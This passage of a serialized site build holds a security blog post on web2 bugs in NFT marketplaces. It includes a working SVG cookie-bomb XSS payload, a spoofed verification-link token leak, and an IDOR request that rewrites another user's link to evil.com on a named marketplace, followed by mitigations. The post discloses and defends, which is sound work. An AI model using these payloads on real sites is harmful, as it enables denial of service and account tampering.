CloudFront.",{"type":24,"tag":25,"props":36266,"children":36267},{},[36268],{"type":29,"value":36269},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":25,"props":36271,"children":36272},{},[36273],{"type":29,"value":36274},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":80,"props":36276,"children":36280},{"className":36277,"code":36278,"language":36279,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[36281],{"type":24,"tag":32,"props":36282,"children":36283},{"__ignoreMap":7},[36284,36323,36354,36361,36388,36419,36446,36454,36462,36469,36481,36556,36564,36579],{"type":24,"tag":90,"props":36285,"children":36286},{"class":92,"line":93},[36287,36291,36295,36299,36303,36307,36311,36315,36319],{"type":24,"tag":90,"props":36288,"children":36289},{"style":120},[36290],{"type":29,"value":35994},{"type":24,"tag":90,"props":36292,"children":36293},{"style":136},[36294],{"type":29,"value":35999},{"type":24,"tag":90,"props":36296,"children":36297},{"style":136},[36298],{"type":29,"value":36004},{"type":24,"tag":90,"props":36300,"children":36301},{"style":120},[36302],{"type":29,"value":5491},{"type":24,"tag":90,"props":36304,"children":36305},{"style":1085},[36306],{"type":29,"value":36013},{"type":24,"tag":90,"props":36308,"children":36309},{"style":136},[36310],{"type":29,"value":36018},{"type":24,"tag":90,"props":36312,"children":36313},{"style":120},[36314],{"type":29,"value":5491},{"type":24,"tag":90,"props":36316,"children":36317},{"style":1085},[36318],{"type":29,"value":36027},{"type":24,"tag":90,"props":36320,"children":36321},{"style":120},[36322],{"type":29,"value":36032},{"type":24,"tag":90,"props":36324,"children":36325},{"class":92,"line":200},[36326,36330,36334,36338,36342,36346,36350],{"type":24,"tag":90,"props":36327,"children":36328},{"style":120},[36329],{"type":29,"value":36040},{"type":24,"tag":90,"props":36331,"children":36332},{"style":136},[36333],{"type":29,"value":36045},{"type":24,"tag":90,"props":36335,"children":36336},{"style":136},[36337],{"type":29,"value":36050},{"type":24,"tag":90,"props":36339,"children":36340},{"style":136},[36341],{"type":29,"value":36055},{"type":24,"tag":90,"props":36343,"children":36344},{"style":1085},[36345],{"type":29,"value":36060},{"type":24,"tag":90,"props":36347,"children":36348},{"style":1085},[36349],{"type":29,"value":36065},{"type":24,"tag":90,"props":36351,"children":36352},{"style":120},[36353],{"type":29,"value":8377},{"type":24,"tag":90,"props":36355,"children":36356},{"class":92,"line":239},[36357],{"type":24,"tag":90,"props":36358,"children":36359},{"emptyLinePlaceholder":16},[36360],{"type":29,"value":245},{"type":24,"tag":90,"props":36362,"children":36363},{"class":92,"line":248},[36364,36368,36372,36376,36380,36384],{"type":24,"tag":90,"props":36365,"children":36366},{"style":34189},[36367],{"type":29,"value":11095},{"type":24,"tag":90,"props":36369,"children":36370},{"style":97},[36371],{"type":29,"value":36088},{"type":24,"tag":90,"props":36373,"children":36374},{"style":136},[36375],{"type":29,"value":36093},{"type":24,"tag":90,"props":36377,"children":36378},{"style":120},[36379],{"type":29,"value":5491},{"type":24,"tag":90,"props":36381,"children":36382},{"style":1085},[36383],{"type":29,"value":36102},{"type":24,"tag":90,"props":36385,"children":36386},{"style":34189},[36387],{"type":29,"value":8377},{"type":24,"tag":90,"props":36389,"children":36390},{"class":92,"line":258},[36391,36395,36399,36403,36407,36411,36415],{"type":24,"tag":90,"props":36392,"children":36393},{"style":34189},[36394],{"type":29,"value":34208},{"type":24,"tag":90,"props":36396,"children":36397},{"style":97},[36398],{"type":29,"value":36118},{"type":24,"tag":90,"props":36400,"children":36401},{"style":34189},[36402],{"type":29,"value":12830},{"type":24,"tag":90,"props":36404,"children":36405},{"style":114},[36406],{"type":29,"value":33050},{"type":24,"tag":90,"props":36408,"children":36409},{"style":34189},[36410],{"type":29,"value":34243},{"type":24,"tag":90,"props":36412,"children":36413},{"style":97},[36414],{"type":29,"value":36118},{"type":24,"tag":90,"props":36416,"children":36417},{"style":34189},[36418],{"type":29,"value":8377},{"type":24,"tag":90,"props":36420,"children":36421},{"class":92,"line":272},[36422,36426,36430,36434,36438,36442],{"type":24,"tag":90,"props":36423,"children":36424},{"style":34189},[36425],{"type":29,"value":34208},{"type":24,"tag":90,"props":36427,"children":36428},{"style":97},[36429],{"type":29,"value":34229},{"type":24,"tag":90,"props":36431,"children":36432},{"style":136},[36433],{"type":29,"value":34354},{"type":24,"tag":90,"props":36435,"children":36436},{"style":120},[36437],{"type":29,"value":5491},{"type":24,"tag":90,"props":36439,"children":36440},{"style":1085},[36441],{"type":29,"value":36162},{"type":24,"tag":90,"props":36443,"children":36444},{"style":34189},[36445],{"type":29,"value":8377},{"type":24,"tag":90,"props":36447,"children":36448},{"class":92,"line":281},[36449],{"type":24,"tag":90,"props":36450,"children":36451},{"style":114},[36452],{"type":29,"value":36453}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":90,"props":36455,"children":36456},{"class":92,"line":384},[36457],{"type":24,"tag":90,"props":36458,"children":36459},{"style":114},[36460],{"type":29,"value":36461}," var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":90,"props":36463,"children":36464},{"class":92,"line":420},[36465],{"type":24,"tag":90,"props":36466,"children":36467},{"emptyLinePlaceholder":16},[36468],{"type":29,"value":245},{"type":24,"tag":90,"props":36470,"children":36471},{"class":92,"line":428},[36472,36477],{"type":24,"tag":90,"props":36473,"children":36474},{"style":114},[36475],{"type":29,"value":36476}," for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":90,"props":36478,"children":36479},{"style":97},[36480],{"type":29,"value":2221},{"type":24,"tag":90,"props":36482,"children":36483},{"class":92,"line":437},[36484,36489,36493,36498,36502,36507,36512,36516,36520,36525,36529,36534,36538,36543,36547,36552],{"type":24,"tag":90,"props":36485,"children":36486},{"style":136},[36487],{"type":29,"value":36488}," document",{"type":24,"tag":90,"props":36490,"children":36491},{"style":120},[36492],{"type":29,"value":226},{"type":24,"tag":90,"props":36494,"children":36495},{"style":136},[36496],{"type":29,"value":36497},"cookie",{"type":24,"tag":90,"props":36499,"children":36500},{"style":120},[36501],{"type":29,"value":34725},{"type":24,"tag":90,"props":36503,"children":36504},{"style":1085},[36505],{"type":29,"value":36506},"'Cookie'",{"type":24,"tag":90,"props":36508,"children":36509},{"style":120},[36510],{"type":29,"value":36511}," + ",{"type":24,"tag":90,"props":36513,"children":36514},{"style":136},[36515],{"type":29,"value":6123},{"type":24,"tag":90,"props":36517,"children":36518},{"style":120},[36519],{"type":29,"value":36511},{"type":24,"tag":90,"props":36521,"children":36522},{"style":1085},[36523],{"type":29,"value":36524},"'='",{"type":24,"tag":90,"props":36526,"children":36527},{"style":120},[36528],{"type":29,"value":36511},{"type":24,"tag":90,"props":36530,"children":36531},{"style":136},[36532],{"type":29,"value":36533},"Set_Cookie",{"type":24,"tag":90,"props":36535,"children":36536},{"style":120},[36537],{"type":29,"value":36511},{"type":24,"tag":90,"props":36539,"children":36540},{"style":1085},[36541],{"type":29,"value":36542},"';Domain='",{"type":24,"tag":90,"props":36544,"children":36545},{"style":120},[36546],{"type":29,"value":36511},{"type":24,"tag":90,"props":36548,"children":36549},{"style":136},[36550],{"type":29,"value":36551},"Take_Domain",{"type":24,"tag":90,"props":36553,"children":36554},{"style":120},[36555],{"type":29,"value":381},{"type":24,"tag":90,"props":36557,"children":36558},{"class":92,"line":574},[36559],{"type":24,"tag":90,"props":36560,"children":36561},{"style":97},[36562],{"type":29,"value":36563}," }\n",{"type":24,"tag":90,"props":36565,"children":36566},{"class":92,"line":606},[36567,36571,36575],{"type":24,"tag":90,"props":36568,"children":36569},{"style":34189},[36570],{"type":29,"value":36182},{"type":24,"tag":90,"props":36572,"children":36573},{"style":97},[36574],{"type":29,"value":34229},{"type":24,"tag":90,"props":36576,"children":36577},{"style":34189},[36578],{"type":29,"value":8377},{"type":24,"tag":90,"props":36580,"children":36581},{"class":92,"line":615},[36582,36586,36590],{"type":24,"tag":90,"props":36583,"children":36584},{"style":34189},[36585],{"type":29,"value":36198},{"type":24,"tag":90,"props":36587,"children":36588},{"style":97},[36589],{"type":29,"value":36088},{"type":24,"tag":90,"props":36591,"children":36592},{"style":34189},[36593],{"type":29,"value":8377},{"type":24,"tag":25,"props":36595,"children":36596},{},[36597],{"type":29,"value":36598},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":850,"props":36600,"children":36602},{"id":36601},"authentication",[36603],{"type":29,"value":36604},"Authentication",{"type":24,"tag":25,"props":36606,"children":36607},{},[36608],{"type":24,"tag":842,"props":36609,"children":36610},{},[36611,36613,36620],{"type":29,"value":36612},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":69,"props":36614,"children":36617},{"href":36615,"rel":36616},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[73],[36618],{"type":29,"value":36619},"great misfortune has occured",{"type":29,"value":226},{"type":24,"tag":1019,"props":36622,"children":36624},{"id":36623},"verification-token-leakage",[36625],{"type":29,"value":36626},"Verification Token Leakage",{"type":24,"tag":25,"props":36628,"children":36629},{},[36630],{"type":29,"value":36631},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":25,"props":36633,"children":36634},{},[36635],{"type":29,"value":36636},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":25,"props":36638,"children":36639},{},[36640,36645],{"type":24,"tag":842,"props":36641,"children":36642},{},[36643],{"type":29,"value":36644},"Proof of Concept",{"type":29,"value":36646},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":25,"props":36648,"children":36649},{},[36650],{"type":29,"value":36651},"Here's the breakdown.",{"type":24,"tag":25,"props":36653,"children":36654},{},[36655],{"type":29,"value":36656},"First, we send the verification link to a user's email:",{"type":24,"tag":33159,"props":36658,"children":36659},{"style":33161},[36660],{"type":24,"tag":6301,"props":36661,"children":36665},{"src":36662,"alt":36663,"style":36664},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":25,"props":36667,"children":36668},{},[36669],{"type":29,"value":36670},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":1019,"props":36672,"children":36674},{"id":36673},"idor",[36675],{"type":29,"value":36676},"IDOR",{"type":24,"tag":25,"props":36678,"children":36679},{},[36680],{"type":24,"tag":842,"props":36681,"children":36682},{},[36683,36685,36692],{"type":29,"value":36684},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":69,"props":36686,"children":36689},{"href":36687,"rel":36688},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[73],[36690],{"type":29,"value":36691},"insect",{"type":29,"value":226},{"type":24,"tag":25,"props":36694,"children":36695},{},[36696,36698,36704],{"type":29,"value":36697},"During a security assessment of the ",{"type":24,"tag":69,"props":36699,"children":36702},{"href":36700,"rel":36701},"https://rocki.com",[73],[36703],{"type":29,"value":33097},{"type":29,"value":36705},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":25,"props":36707,"children":36708},{},[36709],{"type":29,"value":36710},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":25,"props":36712,"children":36713},{},[36714],{"type":29,"value":36715},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":25,"props":36717,"children":36718},{},[36719,36721,36727,36729,36734],{"type":29,"value":36720},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":32,"props":36722,"children":36724},{"className":36723},[],[36725],{"type":29,"value":36726},"https://evil.com/",{"type":29,"value":36728},". To achieve this, we simply changed the ",{"type":24,"tag":32,"props":36730,"children":36732},{"className":36731},[],[36733],{"type":29,"value":5875},{"type":29,"value":36735}," field value to one that belongs to another user:",{"type":24,"tag":25,"props":36737,"children":36738},{},[36739],{"type":24,"tag":6301,"props":36740,"children":36742},{"alt":7,"src":36741},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":25,"props":36744,"children":36745},{},[36746],{"type":29,"value":36747},"The following screenshot is the response to our request:",{"type":24,"tag":25,"props":36749,"children":36750},{},[36751],{"type":24,"tag":6301,"props":36752,"children":36754},{"alt":7,"src":36753},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":850,"props":36756,"children":36758},{"id":36757},"preventative-action-steps-for-marketplaces",[36759],{"type":24,"tag":7711,"props":36760,"children":36761},{},[36762],{"type":29,"value":36763},"Preventative Action Steps for Marketplaces",{"type":24,"tag":25,"props":36765,"children":36766},{},[36767],{"type":29,"value":36768},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":25,"props":36770,"children":36771},{},[36772,36774,36780,36782,36788],{"type":29,"value":36773},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":32,"props":36775,"children":36777},{"className":36776},[],[36778],{"type":29,"value":36779},"innerText",{"type":29,"value":36781}," instead of ",{"type":24,"tag":32,"props":36783,"children":36785},{"className":36784},[],[36786],{"type":29,"value":36787},"innerHTML",{"type":29,"value":36789}," in client-side:",{"type":24,"tag":80,"props":36791,"children":36793},{"className":33176,"code":36792,"language":33178,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[36794],{"type":24,"tag":32,"props":36795,"children":36796},{"__ignoreMap":7},[36797],{"type":24,"tag":90,"props":36798,"children":36799},{"class":92,"line":93},[36800,36804,36808,36813,36817,36822,36826,36830,36834,36839],{"type":24,"tag":90,"props":36801,"children":36802},{"style":136},[36803],{"type":29,"value":34521},{"type":24,"tag":90,"props":36805,"children":36806},{"style":114},[36807],{"type":29,"value":226},{"type":24,"tag":90,"props":36809,"children":36810},{"style":108},[36811],{"type":29,"value":36812},"getElementById",{"type":24,"tag":90,"props":36814,"children":36815},{"style":114},[36816],{"type":29,"value":117},{"type":24,"tag":90,"props":36818,"children":36819},{"style":1085},[36820],{"type":29,"value":36821},"'nftCollectionName'",{"type":24,"tag":90,"props":36823,"children":36824},{"style":114},[36825],{"type":29,"value":22538},{"type":24,"tag":90,"props":36827,"children":36828},{"style":136},[36829],{"type":29,"value":36779},{"type":24,"tag":90,"props":36831,"children":36832},{"style":120},[36833],{"type":29,"value":216},{"type":24,"tag":90,"props":36835,"children":36836},{"style":136},[36837],{"type":29,"value":36838}," nftCollectionName",{"type":24,"tag":90,"props":36840,"children":36841},{"style":114},[36842],{"type":29,"value":381},{"type":24,"tag":25,"props":36844,"children":36845},{},[36846],{"type":29,"value":36847},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":80,"props":36849,"children":36851},{"className":33176,"code":36850,"language":33178,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[36852],{"type":24,"tag":32,"props":36853,"children":36854},{"__ignoreMap":7},[36855],{"type":24,"tag":90,"props":36856,"children":36857},{"class":92,"line":93},[36858,36863,36868,36872,36877,36881,36886,36890,36895],{"type":24,"tag":90,"props":36859,"children":36860},{"style":97},[36861],{"type":29,"value":36862},"var",{"type":24,"tag":90,"props":36864,"children":36865},{"style":136},[36866],{"type":29,"value":36867}," sanitizedInput",{"type":24,"tag":90,"props":36869,"children":36870},{"style":120},[36871],{"type":29,"value":216},{"type":24,"tag":90,"props":36873,"children":36874},{"style":136},[36875],{"type":29,"value":36876}," DOMPurify",{"type":24,"tag":90,"props":36878,"children":36879},{"style":114},[36880],{"type":29,"value":226},{"type":24,"tag":90,"props":36882,"children":36883},{"style":108},[36884],{"type":29,"value":36885},"sanitize",{"type":24,"tag":90,"props":36887,"children":36888},{"style":114},[36889],{"type":29,"value":117},{"type":24,"tag":90,"props":36891,"children":36892},{"style":136},[36893],{"type":29,"value":36894},"userInput",{"type":24,"tag":90,"props":36896,"children":36897},{"style":114},[36898],{"type":29,"value":571},{"type":24,"tag":25,"props":36900,"children":36901},{},[36902,36904,36911],{"type":29,"value":36903},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":69,"props":36905,"children":36908},{"href":36906,"rel":36907},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[73],[36909],{"type":29,"value":36910},"Content-Security-Policy",{"type":29,"value":36912}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":25,"props":36914,"children":36915},{},[36916],{"type":29,"value":36917},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":25,"props":36919,"children":36920},{},[36921,36923,36930],{"type":29,"value":36922},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":69,"props":36924,"children":36927},{"href":36925,"rel":36926},"https://www.techtarget.com/whatis/definition/whitelist",[73],[36928],{"type":29,"value":36929},"allow-list",{"type":29,"value":36931}," :",{"type":24,"tag":80,"props":36933,"children":36935},{"className":33176,"code":36934,"language":33178,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[36936],{"type":24,"tag":32,"props":36937,"children":36938},{"__ignoreMap":7},[36939,36968,37010,37040],{"type":24,"tag":90,"props":36940,"children":36941},{"class":92,"line":93},[36942,36946,36951,36955,36959,36964],{"type":24,"tag":90,"props":36943,"children":36944},{"style":97},[36945],{"type":29,"value":508},{"type":24,"tag":90,"props":36947,"children":36948},{"style":136},[36949],{"type":29,"value":36950}," allowDomains",{"type":24,"tag":90,"props":36952,"children":36953},{"style":120},[36954],{"type":29,"value":216},{"type":24,"tag":90,"props":36956,"children":36957},{"style":114},[36958],{"type":29,"value":24829},{"type":24,"tag":90,"props":36960,"children":36961},{"style":1085},[36962],{"type":29,"value":36963},"'https://allowed-domain'",{"type":24,"tag":90,"props":36965,"children":36966},{"style":114},[36967],{"type":29,"value":33387},{"type":24,"tag":90,"props":36969,"children":36970},{"class":92,"line":200},[36971,36975,36979,36983,36988,36992,36997,37001,37005],{"type":24,"tag":90,"props":36972,"children":36973},{"style":636},[36974],{"type":29,"value":2084},{"type":24,"tag":90,"props":36976,"children":36977},{"style":114},[36978],{"type":29,"value":1151},{"type":24,"tag":90,"props":36980,"children":36981},{"style":120},[36982],{"type":29,"value":22417},{"type":24,"tag":90,"props":36984,"children":36985},{"style":136},[36986],{"type":29,"value":36987},"allowDomains",{"type":24,"tag":90,"props":36989,"children":36990},{"style":114},[36991],{"type":29,"value":226},{"type":24,"tag":90,"props":36993,"children":36994},{"style":108},[36995],{"type":29,"value":36996},"includes",{"type":24,"tag":90,"props":36998,"children":36999},{"style":114},[37000],{"type":29,"value":117},{"type":24,"tag":90,"props":37002,"children":37003},{"style":136},[37004],{"type":29,"value":34531},{"type":24,"tag":90,"props":37006,"children":37007},{"style":114},[37008],{"type":29,"value":37009},")) {\n",{"type":24,"tag":90,"props":37011,"children":37012},{"class":92,"line":239},[37013,37018,37022,37027,37031,37036],{"type":24,"tag":90,"props":37014,"children":37015},{"style":636},[37016],{"type":29,"value":37017}," throw",{"type":24,"tag":90,"props":37019,"children":37020},{"style":97},[37021],{"type":29,"value":33746},{"type":24,"tag":90,"props":37023,"children":37024},{"style":108},[37025],{"type":29,"value":37026}," ApolloError",{"type":24,"tag":90,"props":37028,"children":37029},{"style":114},[37030],{"type":29,"value":117},{"type":24,"tag":90,"props":37032,"children":37033},{"style":1085},[37034],{"type":29,"value":37035},"'invalid domain'",{"type":24,"tag":90,"props":37037,"children":37038},{"style":114},[37039],{"type":29,"value":571},{"type":24,"tag":90,"props":37041,"children":37042},{"class":92,"line":248},[37043],{"type":24,"tag":90,"props":37044,"children":37045},{"style":114},[37046],{"type":29,"value":827},{"type":24,"tag":25,"props":37048,"children":37049},{},[37050,37052,37059,37061,37068],{"type":29,"value":37051},"As ",{"type":24,"tag":69,"props":37053,"children":37056},{"href":37054,"rel":37055},"https://graphql.org/",[73],[37057],{"type":29,"value":37058},"GraphQl",{"type":29,"value":37060}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":69,"props":37062,"children":37065},{"href":37063,"rel":37064},"https://graphql.org/learn/introspection/",[73],[37066],{"type":29,"value":37067},"introspection",{"type":29,"value":37069}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":80,"props":37071,"children":37073},{"className":33176,"code":37072,"language":33178,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[37074],{"type":24,"tag":32,"props":37075,"children":37076},{"__ignoreMap":7},[37077,37106,37118,37130,37146],{"type":24,"tag":90,"props":37078,"children":37079},{"class":92,"line":93},[37080,37084,37089,37093,37097,37102],{"type":24,"tag":90,"props":37081,"children":37082},{"style":97},[37083],{"type":29,"value":508},{"type":24,"tag":90,"props":37085,"children":37086},{"style":136},[37087],{"type":29,"value":37088}," server",{"type":24,"tag":90,"props":37090,"children":37091},{"style":120},[37092],{"type":29,"value":216},{"type":24,"tag":90,"props":37094,"children":37095},{"style":97},[37096],{"type":29,"value":33746},{"type":24,"tag":90,"props":37098,"children":37099},{"style":108},[37100],{"type":29,"value":37101}," ApolloServer",{"type":24,"tag":90,"props":37103,"children":37104},{"style":114},[37105],{"type":29,"value":1640},{"type":24,"tag":90,"props":37107,"children":37108},{"class":92,"line":200},[37109,37114],{"type":24,"tag":90,"props":37110,"children":37111},{"style":136},[37112],{"type":29,"value":37113}," typeDefs",{"type":24,"tag":90,"props":37115,"children":37116},{"style":114},[37117],{"type":29,"value":748},{"type":24,"tag":90,"props":37119,"children":37120},{"class":92,"line":239},[37121,37126],{"type":24,"tag":90,"props":37122,"children":37123},{"style":136},[37124],{"type":29,"value":37125}," resolvers",{"type":24,"tag":90,"props":37127,"children":37128},{"style":114},[37129],{"type":29,"value":748},{"type":24,"tag":90,"props":37131,"children":37132},{"class":92,"line":248},[37133,37138,37142],{"type":24,"tag":90,"props":37134,"children":37135},{"style":136},[37136],{"type":29,"value":37137}," introspection:",{"type":24,"tag":90,"props":37139,"children":37140},{"style":97},[37141],{"type":29,"value":11431},{"type":24,"tag":90,"props":37143,"children":37144},{"style":114},[37145],{"type":29,"value":748},{"type":24,"tag":90,"props":37147,"children":37148},{"class":92,"line":258},[37149],{"type":24,"tag":90,"props":37150,"children":37151},{"style":114},[37152],{"type":29,"value":37153},"});\n",{"type":24,"tag":25,"props":37155,"children":37156},{},[37157,37159,37166,37168,37175],{"type":29,"value":37158},"Similarly, when ",{"type":24,"tag":69,"props":37160,"children":37163},{"href":37161,"rel":37162},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[73],[37164],{"type":29,"value":37165},"batching",{"type":29,"value":37167}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":69,"props":37169,"children":37172},{"href":37170,"rel":37171},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[73],[37173],{"type":29,"value":37174},"denial-of-service",{"type":29,"value":37176}," (DoS) attacks.",{"type":24,"tag":25,"props":37178,"children":37179},{},[37180],{"type":29,"value":37181},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":25,"props":37183,"children":37184},{},[37185],{"type":29,"value":37186},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":37188,"props":37189,"children":37190},"h1",{"id":30743},[37191],{"type":29,"value":20741},{"type":24,"tag":25,"props":37193,"children":37194},{},[37195],{"type":29,"value":37196},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":25,"props":37198,"children":37199},{},[37200],{"type":29,"value":37201},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":850,"props":37203,"children":37205},{"id":37204},"disclaimer",[37206],{"type":29,"value":37207},"Disclaimer",{"type":24,"tag":25,"props":37209,"children":37210},{},[37211],{"type":29,"value":37212},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":5249,"props":37214,"children":37215},{},[37216],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":37218},[37219,37222,37228,37232,37233],{"id":30826,"depth":200,"text":30829,"children":37220},[37221],{"id":5324,"depth":239,"text":5327},{"id":33020,"depth":200,"text":33050,"children":37223},[37224,37225,37226,37227],{"id":33069,"depth":239,"text":33072},{"id":33134,"depth":239,"text":33137},{"id":35966,"depth":239,"text":35969},{"id":36256,"depth":239,"text":36259},{"id":36601,"depth":200,"text":36604,"children":37229},[37230,37231],{"id":36623,"depth":239,"text":36626},{"id":36673,"depth":239,"text":36676},{"id":36757,"depth":200,"text":36763},{"id":37204,"depth":200,"text":37207},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":37238,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37239,"description":37240,"author":37241,"image":37242,"date":37244,"isFeatured":16,"onBlogPage":16,"body":37245,"_type":5270,"_id":42261,"_source":5272,"_file":42262,"_stem":42263,"_extension":5275},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[33014,33013],{"src":37243,"height":13,"width":14},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":37246,"toc":42242},[37247,37251,37256,37261,37266,37272,37277,37283,37296,37301,37306,37313,37345,37351,37356,37374,37381,37387,37401,37407,37427,37691,37719,37725,37744,38130,38149,38162,38480,38501,38772,38777,38783,38788,38801,38806,38819,39078,39122,39135,39141,39155,39161,39167,39180,39217,39223,39243,39354,39381,39387,39405,39418,39424,39429,39447,39558,39563,39584,39597,39614,39714,39740,39757,39879,39905,39917,39922,39928,39934,39939,39962,39967,39972,39978,39984,40011,40414,40441,40468,40474,40505,40814,40833,40838,40863,40876,40882,40909,41204,41240,41258,41263,41298,41303,41307,41312,41319,41324,41351,42128,42148,42154,42175,42224,42228,42233,42238],{"type":24,"tag":850,"props":37248,"children":37249},{"id":20750},[37250],{"type":29,"value":20753},{"type":24,"tag":25,"props":37252,"children":37253},{},[37254],{"type":29,"value":37255},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":25,"props":37257,"children":37258},{},[37259],{"type":29,"value":37260},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":25,"props":37262,"children":37263},{},[37264],{"type":29,"value":37265},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":850,"props":37267,"children":37269},{"id":37268},"sandbox-security",[37270],{"type":29,"value":37271},"Sandbox 